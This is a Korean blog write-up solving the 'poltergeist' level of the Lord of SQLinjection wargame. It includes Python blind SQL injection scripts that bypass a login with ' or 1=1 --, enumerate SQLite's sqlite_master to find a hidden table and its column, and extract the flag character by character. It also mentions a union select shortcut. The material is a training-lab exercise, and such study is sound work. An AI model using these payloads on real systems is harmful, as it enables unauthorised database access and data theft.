온전히 내 힘으로 풀 수 있었는데.. 아쉽다..

 

문제는 다음과 같다.

일단 앞선 문제들과 동일하게 Hello admin을 띄워서 blind injection을 시도하는 것 같아 보였다. 1차적으론.

그런데 빨간 박스 친 부분을 보면 flag값이 member table에 없다. -> 즉, 다른 테이블에 있는 정보를 끌고 와야 한다.

가장 먼저, pw를 우회하였다.

pw = ' ' or 1=1 -- ' 

Hello guest 우리는 admin을 찾아야 한다.

1=1 이 들어가는 조건에 id = admin 조건을 넣어주면 Hello admin 메시지를 볼 수 있다.

 

우리는 flag가 있는 다른 테이블의 이름을 가장 먼저 파악해야 한다. flag_ 로 시작하는 힌트를 받았으니 like '%' 를 통해 찾아낼 수 있다.

일일히 찾을 수 없으니 자동화 코드를 작성하였다.

import requests

url ="https://los.rubiya.kr/chall/poltergeist_a62c7abc7e6ce0080dbf0e14a07d1f1d.php" #공격URL
cookies ={"PHPSESSID": "rr4mc4n49f9nhj3ofhg6aphahl"} #쿠키값

#테이블 길이 찾기
def table_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id='admin' and length((select name from sqlite_master where name like 'flag_%'))={}--".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

#테이블명 찾기
def table_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            
            value = "' or id='admin' and substr((select name from sqlite_master where name like 'flag_%'),{},1)='{}'--".format(i,chr(j))           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(chr(j))

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw += chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


table_real(table_len())

Sqlite에서는 information_schema 같은 테이블 대신 sqlite_master 를 사용하고 있다. 

그래서 

 length((select name from sqlite_master where name like 'flag_%'))

를 이용하여 flag_로 시작하는 테이블명의 길이 먼저 파악하였다.

이때, length 안에 select문이 들어가는데, 괄호를 안 해주었더니 정상 작동 하지 않았다.. (유의!)

파악한 뒤에는,

substr((select name from sqlite_master where name like 'flag_%'),{},1)='{}'--

substr 함수를 이용하여 flag_로 시작하는 테이블명을 한 글자씩 알아내었다.

flag_ 테이블 찾기

실행결과는 위와 같다.

 

이 다음부터가 고비였다.. 

flag_로 시작하는 테이블을 찾았으니 이제 flag만 찾으면 되었다고 생각했다.

그래서 select pw from flag_테이블명 했더니 문제가 풀리지 않았다ㅠㅠ 어떤 특정한 문자열은 알아냈지만 그게 답이 아니었다. (아마도 낚시에 걸린 듯)

select flag from flag_테이블명 해도,, 아예 쿼리문이 실행되지 않는 걸 보니, 필드명이 flag가 아닐 것이라고 추측했다.

그래서 다른 풀이들을 참고해보니.. sqlite는 mysql과 다르게 별도로 필드명을 저장해두지 않는 것 같다. 그래서 sql 필드를 이용하여 테이블을 생성할 때 필드명을 선언하는 것을 참고해야 한다.

SELECT sql FROM sqlite_master WHERE tbl_name='myTable'

이런식으로 코드를 짜야 하는 것!

참고: 

https://blog.int80.kr/74

 

SQLite 테이블, 컬럼 정보 가져오기

sqlite_master Tablemysql 에서 테이블 정보나 컬럼 정보를 가져올때 information_schema 테이블을 많이 이용하는데 sqlite 에는 sqlite_master 테이블을 이용해서 테이블, 컬럼 정보를 가져온다. CREATE TABLE sqlite_mas

blog.int80.kr

#컬럼 길이 찾기
def column_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id='admin' and length((select sql from sqlite_master where tbl_name= 'flag_70c81d99'))={}--".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break

    return len_num

#컬럼명 찾기
def column_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            
            value = "' or id='admin' and substr((select sql from sqlite_master where tbl_name= 'flag_70c81d99'),{},1)='{}'--".format(i,chr(j))           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(chr(j))

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw += chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


column_real(column_len())

이전에 테이블명을 찾을 때와 동일하게 안에 select문만 바꿔서 함수를 돌렸다.

위 사진과 같이 CREATE TABLE 'flag_테이블' 'flag_??????' TEXT 라고 나타나있다. 아마도 테이블명 뒤에 오는 flag_?????부분이 text형식의 단일 칼럼인 듯 하다. 

그러면 select flag_???? from 찾은 flag_테이블명  이런식으로 쿼리를 짜면 flag값을 찾을 수 있을 것 같다.

#flag 길이 찾기
def flag_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id='admin' and length((select flag_0876285c from flag_70c81d99))={}--".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

#flag 찾기
def flag_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(33, 126):  #아스키코드값 48번부터 122번
 
            
            value = "' or id='admin' and substr((select flag_0876285c from flag_70c81d99),{},1)='{}'--".format(i,chr(j))           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(chr(j))

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw += chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

flag_real(flag_len())

flag_{hash} 테이블 안에 있는 flag값

실행화면은 위와 같다.. 잘 나온다..

성..공..

 

 

※Union select로 빠르게 찾기

union select문을 쓰면 정말 쉽게 풀 수 있었다.. 이 부분은 미처 생각을 못해서 다른 풀이를 참고하여 시도하였다.

union select 문으로 조회되는 tbl_name이 pw값으로 들어가기 때문에 Hello $GET[pw] 로 보여지게 된다.

 

내가 작성한 코드에서 select문만 뽑아 union을 붙여서 실행하면 단 3개의 쿼리로 답을 빠르게 찾을 수 있다..

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step38. BANSHEE 풀이  (1) 2023.10.19
[LOS] step37. manticore 풀이  (1) 2023.10.18
[LOS] step36. chupacabra 풀이  (1) 2023.10.18
[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step34. godzilla 풀이  (0) 2023.10.17

+ Recent posts